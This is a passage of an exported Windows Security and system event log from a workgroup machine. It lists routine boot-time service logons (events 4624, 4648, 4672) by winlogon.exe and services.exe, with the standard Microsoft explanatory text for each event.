Account:\t\tYes\n\tElevated Token:\t\tNo\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-96-0-1\n\tAccount Name:\t\tUMFD-1\n\tAccount Domain:\t\tFont Driver Host\n\tLogon ID:\t\t0x1479A\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x66c\n\tProcess Name:\t\tC:\\Windows\\System32\\winlogon.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.460\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.460\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.467\t40\tAppContainer onecore\\ds\\security\\gina\\profile\\profext\\appcontainer.cpp Line:1863 Usermode Font Driver Host microsoft.windows.fontdrvhost was not created because it already exists.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:28:57.467\t40\tAppContainer onecore\\ds\\security\\gina\\profile\\profext\\appcontainer.cpp Line:1863 Usermode Font Driver Host microsoft.windows.fontdrvhost was not created because it already exists.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:28:57.469\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-19\n\tAccount Name:\t\tLOCAL SERVICE\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E5\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.469\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-19\n\tAccount Name:\t\tLOCAL SERVICE\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E5\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.502\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-20\n\tAccount Name:\t\tNETWORK SERVICE\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E4\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.502\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-20\n\tAccount Name:\t\tNETWORK SERVICE\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E4\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.531\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.531\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.557\t32\tPlugin RDSAppXPlugin has been successfully initialized\tInformation\tMicrosoft-Windows-TerminalServices-LocalSessionManager/Operational\tMicrosoft-Windows-TerminalServices-LocalSessionManager\n05.09.2026 08:28:57.582\t4648\t\"A logon was attempted using explicit credentials.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nAccount Whose Credentials Were Used:\n\tAccount Name:\t\tDWM-1\n\tAccount Domain:\t\tWindow Manager\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nTarget Server:\n\tTarget Server Name:\tlocalhost\n\tAdditional Information:\tlocalhost\n\nProcess Information:\n\tProcess ID:\t\t0x66c\n\tProcess Name:\t\tC:\\Windows\\System32\\winlogon.exe\n\nNetwork Information:\n\tNetwork Address:\t-\n\tPort:\t\t\t-\n\nThis event is generated when a process attempts to log on an account by explicitly specifying that account\u2019s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.582\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t2\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tYes\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-90-0-1\n\tAccount Name:\t\tDWM-1\n\tAccount Domain:\t\tWindow Manager\n\tLogon ID:\t\t0x1DD5E\n\tLinked Logon ID:\t\t0x1DDB6\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x66c\n\tProcess Name:\t\tC:\\Windows\\System32\\winlogon.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.582\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t2\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tYes\n\tElevated Token:\t\tNo\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-90-0-1\n\tAccount Name:\t\tDWM-1\n\tAccount Domain:\t\tWindow Manager\n\tLogon ID:\t\t0x1DDB6\n\tLinked Logon ID:\t\t0x1DD5E\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x66c\n\tProcess Name:\t\tC:\\Windows\\System32\\winlogon.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.582\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-90-0-1\n\tAccount Name:\t\tDWM-1\n\tAccount Domain:\t\tWindow Manager\n\tLogon ID:\t\t0x1DD5E\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.582\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-90-0-1\n\tAccount Name:\t\tDWM-1\n\tAccount Domain:\t\tWindow Manager\n\tLogon ID:\t\t0x1DDB6\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeAuditPrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.604\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.604\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.605\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.605\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.605\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.605\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.605\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual 